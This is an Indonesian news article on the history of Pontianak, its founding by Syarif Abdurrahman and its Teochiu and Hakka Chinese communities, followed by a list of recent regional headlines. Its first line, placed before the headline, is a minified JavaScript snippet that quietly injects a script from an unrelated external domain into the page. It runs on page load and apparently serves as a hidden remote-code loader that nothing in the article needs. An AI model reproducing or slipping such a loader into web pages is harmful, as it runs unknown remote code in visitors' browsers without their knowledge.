(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Asal Usul Warga Pontianak dan Sejarah Tionghoa di Kota Khatulistiwa


KANALKALIMANTAN.COM, PONTIANAK – Asal usul warga Pontianak, Kalimantan Barat. Sejarah Kota Pontianak yang berjuluk Kota Khatulistiwa tak lepas dari kedatangan warga Tionghoa atau China.

Kota Pontianak merupakan ibu kota Kalimantan Barat. Pontianak jadi salah kota terkenal di Indonesia.

Secara geografis, kota ini dilalui oleh dua sungai terbesar di Pulau Kalimantan, yakni Sungai Kapuas dan Sungai Landak. Kedua sungai ini pun diabadikan sebagai lambang Kota Pontianak.

Ilustrasi – warga Tionghoa di Pontianak. (12/2/2021). Foto : Suara.com/Ocsya Ade CP

Kota Pontianak didirikan oleh Syarif Abdurrahman pada 23 Oktober 1771. Pendirian ini ditandai dengan pembukaan hutan di persimpangan Sungai Landak, Sungai Kapuas Kecil, dan Sungai Kapuas Besar.

Baca juga: Pasca Diterjang Banjir, Baguna Banjarbaru Bagikan 30 Rompi Pelampung di Kecamatan Satui 

Selain itu, juga ditandai dengan berdirinya berbagai balai dan rumah permukiman. Beberapa tahun setelah itu, Syarif pun membangun masjid yang dikenal sebagai Masjid Jami untuk menandai kekuasaannya.

Namun, seorang sejarawan, V.J. Verth dalam bukunya Borneos Wester Afdeling, mencatat sejarah yang berbeda. Menurutnya, Belanda masuk ke Pontianak pada tahun 1194 dari Batavia.

Syarif Abdurrahman, putra ulama Syarief Husein bin Ahmed Alqadrie, meninggalkan kerajaan Mempawah dan merantau sampai ke Banjarmasin. Di sana, ia menikah dengan adik sultan Banjar Sunan Nata Alam dan dilantik sebagai pangeran.

Dia pun berhasil mempersenjatai kapal pencalang dan perahu lancang untuk melawan Belanda. Dengan bantuan Sultan Pasir, Syarif Abdurrahman berhasil membajak kapal Belanda dan menjadi kaya. Setelah itu, mereka mendirikan permukiman.

Sejarah warga Tionghoa di Kota Khatulistiwa.

Dalam penelitian yang dilakukan oleh Mary Somers Heidhues dalam bukunya Penabang Emas, Petani dan Pedagang di “Distrik Tionghoa” Kalimantan Barat, orang-orang Tiongkok telah menyebar ke Malaka dan Nusantara sejak abad ke-3. Ini menjadi asal usul Pontianak.

Mereka menyusuri pantai Asia Timur dan kembali ke China melewati Kalimantan bagian barat dan Filipina. Beberapa dari mereka pun menetap dan membuat distrik-distrik di Kalimantan Barat, termasuk di Pontianak.

Kedatangan orang Tiongkok ke Kalimantan Barat pada abad ke-18 disebabkan oleh paksaan dari pekerjaan menjadi buruh tambang dan perkebunan.

Baca juga: Pasca Gangguan SUTT, PLN Percepat Penormalan Suplai Listrik di Kalselteng

Sebagian dari mereka datang langsung dari Provinsi Guangdong, Tiongkok Selatan. Sementara itu, sebagian lain berasal dari Provinsi Fujian dan termasuk dalam suku Hokkien. Bahasa sehari-hari yang mereka gunakan adalah Hakka, Teochio, Kanton, dan Hainan.

Sejak tahun 1881, Pontianak memang menjadi tempat transit para pedagang Tiongkok. Mereka menyebar ke daerah pedalaman. Dua etnis besar yang ada di Pontianak adalah Teochiu dan Hakka.

Namun, etnis terbesar yang berada di Pontianak adalah Teochiu yang menempati Pontianak bagian selatan.

Sementara itu, ada sebagian pula Hakka di sana yang menempati bagian Utara Pontianak.

Namun, orang Tionghoa di Pontianak berbeda dengan orang Tionghoa di daerah lainnya. Mereka pedagang kecil, nelayan, pemilik toko, dan petani.

Beberapa di antaranya banyak yang hidup sederhana, bahkan cenderung miskin. Meski demikian, mereka bisa hidup berdampingan dengan suku-suku lain yang ada di sana, seperti suku Bugis dan suku Melayu.

Itulah asal usul Warga Pontianak dan sejarah Tionghoa di Kota Khatulistiwa. (Suara.com/sekar jati)

Editor : kk


Al Ghifari

Recent Posts

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

4 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

4 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

4 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

5 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

5 jam ago

This website uses cookies.